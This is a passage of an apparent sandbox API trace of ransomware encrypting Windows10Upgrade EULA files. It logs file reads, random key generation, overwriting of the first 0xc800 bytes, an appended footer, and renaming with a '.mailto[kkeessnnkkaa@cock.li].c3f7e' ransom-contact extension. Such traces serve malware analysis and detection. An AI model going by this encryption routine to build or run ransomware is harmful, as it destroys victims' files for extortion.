	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x5fbcde94
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x3eefcbe5
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x657b68ec
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x64246f36
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x32e05e7d
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0xd2cd5e4b
	[0088.397] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0xc35ccbc4
	[0088.397] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x165a1c1b
	[0088.397] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0xb13ede
	[0088.397] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x8f03e794
	[0088.397] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0xeb677105
	[0088.397] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0xc3764179
	[0088.397] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x8cdf5f92
	[0088.397] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x3c9fa083
	[0088.397] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0xf304ff0a
	[0088.397] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x9ccc93a1
	[0088.397] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x94e6b7c7
	[0088.397] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0xb6a81a2d
	[0088.397] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x7f83f019
	[0088.405] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.405] ReadFile (in: hFile=0x1b88, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b73fa10, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2b73fa10*=0xc800, lpOverlapped=0x0) returned 1
	[0088.408] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ec0
	[0088.408] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ec0) returned 1
	[0088.409] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47da8
	[0088.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47dd0
	[0088.410] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.410] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.410] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.410] WriteFile (in: hFile=0x1b88, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b73fa10, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2b73fa10*=0xc800, lpOverlapped=0x0) returned 1
	[0088.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.411] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x47bb510
	[0088.411] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.412] WriteFile (in: hFile=0x1b88, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b73fa90, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2b73fa90*=0x10d, lpOverlapped=0x0) returned 1
	[0088.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb158) returned 1
	[0088.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0088.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb510) returned 1
	[0088.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47da8) returned 1
	[0088.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ce0) returned 1
	[0088.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0088.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.413] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm"
	[0088.413] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.413] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b73fa48, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.414] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.414] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.414] NtQueryInformationFile (in: FileHandle=0x1b88, IoStatusBlock=0x2b73fa54, FileInformation=0x2b73fa2c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b73fa54, FileInformation=0x2b73fa2c) returned 0x0
	[0088.414] NtSetInformationFile (FileHandle=0x1b88, IoStatusBlock=0x2b73fa54, FileInformation=0x2b73fa2c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.415] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.415] FlushFileBuffers (hFile=0x1b88) returned 1
	[0093.254] CloseHandle (hObject=0x1b88) 

Thread:
	id = 1254
	os_tid = 0x1204

	[0088.415] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm")) returned 0x20
	[0088.416] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm", dwFileAttributes=0x20) returned 1
	[0088.416] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b8c
	[0088.416] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2b7bfba8 | out: lpFileSize=0x2b7bfba8*=81812) returned 1
	[0088.416] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0x13f90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.416] ReadFile (in: hFile=0x1b8c, lpBuffer=0x2b7bfb2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b7bfb28, lpOverlapped=0x0 | out: lpBuffer=0x2b7bfb2c*, lpNumberOfBytesRead=0x2b7bfb28*=0x4, lpOverlapped=0x0) returned 1
	[0088.417] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.417] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.417] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.417] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.417] NtQuerySystemTime (in: CurrentTime=0x2b7bfb08 | out: CurrentTime=0x2b7bfb08*=132251868151476032) returned 0x0
	[0088.417] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x1bec9d57
	[0088.417] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0xce05409a
	[0088.417] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0xb8c4d8db
	[0088.417] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0xe87db451
	[0088.417] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x86d58b57
	[0088.417] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x41868c1d
	[0088.417] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0xf374e97e
	[0088.417] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x7f74273c
	[0088.417] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0xeaf74708
	[0088.417] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x26ffb367
	[0088.417] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0xf184e4d8
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x943d05c8
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0xdb81f15a
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x73cca1e5
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0xde768442
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x8964c3d8
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x3b7e8a15
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x13146786
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x347da9a3
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0xf8c2dbaa
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x3f85c284
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x68c7121f
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0xccfdd234
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0xff0a1ef5
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0xc07bea1a
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x145fcb93
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x4e68da54
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x562efd95
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0xe0ec5ef0
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x6f9f7e1c
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0xf686c2a2
	[0088.418] RtlRandom (in: Seed=0x2b7bfb14 | out: Seed=0x2b7bfb14) returned 0x74fb4afe
	[0088.426] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.426] ReadFile (in: hFile=0x1b8c, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b7bfae8, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2b7bfae8*=0xc800, lpOverlapped=0x0) returned 1
	[0088.427] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.428] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.428] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.429] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.429] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.429] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.429] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.429] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.429] WriteFile (in: hFile=0x1b8c, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b7bfae8, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2b7bfae8*=0xc800, lpOverlapped=0x0) returned 1
	[0088.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.430] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x47bb510
	[0088.430] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.431] WriteFile (in: hFile=0x1b8c, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b7bfb68, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2b7bfb68*=0x10d, lpOverlapped=0x0) returned 1
	[0088.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb190) returned 1
	[0088.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb510) returned 1
	[0088.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.434] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.434] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm"
	[0088.434] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.434] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b7bfb20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.434] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.434] NtQueryInformationFile (in: FileHandle=0x1b8c, IoStatusBlock=0x2b7bfb2c, FileInformation=0x2b7bfb04, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b7bfb2c, FileInformation=0x2b7bfb04) returned 0x0
	[0088.434] NtSetInformationFile (FileHandle=0x1b8c, IoStatusBlock=0x2b7bfb2c, FileInformation=0x2b7bfb04, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.435] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.435] FlushFileBuffers (hFile=0x1b8c) returned 1
	[0093.254] CloseHandle (hObject=0x1b8c) 

Thread:
	id = 1255
	os_tid = 0x11dc

	[0088.432] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-br.htm")) returned 0x20
	[0088.432] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm", dwFileAttributes=0x20) returned 1
	[0088.432] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-br.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b90
	[0088.432] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2b83fb68 | out: lpFileSize=0x2b83fb68*=68292) returned 1
	[0088.433] SetFilePointerEx (in: hFile=0x1b90, liDistanceToMove=0x10ac0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.433] ReadFile (in: hFile=0x1b90, lpBuffer=0x2b83faec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b83fae8, lpOverlapped=0x0 | out: lpBuffer=0x2b83faec*, lpNumberOfBytesRead=0x2b83fae8*=0x4, lpOverlapped=0x0) returned 1
	[0088.437] SetFilePointerEx (in: hFile=0x1b90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.437] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.437] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.437] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.437] NtQuerySystemTime (in: CurrentTime=0x2b83fac8 | out: CurrentTime=0x2b83fac8*=132251868151787816) returned 0x0
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0xa402af2
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x7cfcc6cb
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0xe4675e25
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x28db11fc
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0xbea3a616
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x4e9c63fd
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0xa584c0dc
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x3d504da
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x6cceb634
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0xfa04af6b
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x3d228fc2
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x84dcf2ca
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x6ae17aff
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0xf4a0e83f
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x3bb51939
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0xc996deb7
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0xedcc54ee
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x65b99b0b
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x6e49e8b6
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x2ca54802
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0xcc68472a
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x2eff3c55
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x905615ce
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x5082729d
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x75d4ef19
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x501926d2
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0xdf4421dc
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x1c4a5744
	[0088.437] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x26ee8d3c
	[0088.438] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x7a4ce1b0
	[0088.438] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0x916c9073
	[0088.438] RtlRandom (in: Seed=0x2b83fad4 | out: Seed=0x2b83fad4) returned 0xff480820
	[0088.446] SetFilePointerEx (in: hFile=0x1b90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.446] ReadFile (in: hFile=0x1b90, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b83faa8, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2b83faa8*=0xc800, lpOverlapped=0x0) returned 1
	[0088.447] SetFilePointerEx (in: hFile=0x1b90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.447] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.448] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.448] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.448] WriteFile (in: hFile=0x1b90, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b83faa8, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2b83faa8*=0xc800, lpOverlapped=0x0) returned 1
	[0088.450] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.450] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x47bb510
	[0088.450] SetFilePointerEx (in: hFile=0x1b90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.450] WriteFile (in: hFile=0x1b90, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b83fb28, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2b83fb28*=0x10d, lpOverlapped=0x0) returned 1
	[0088.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bbd0) returned 1
	[0088.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
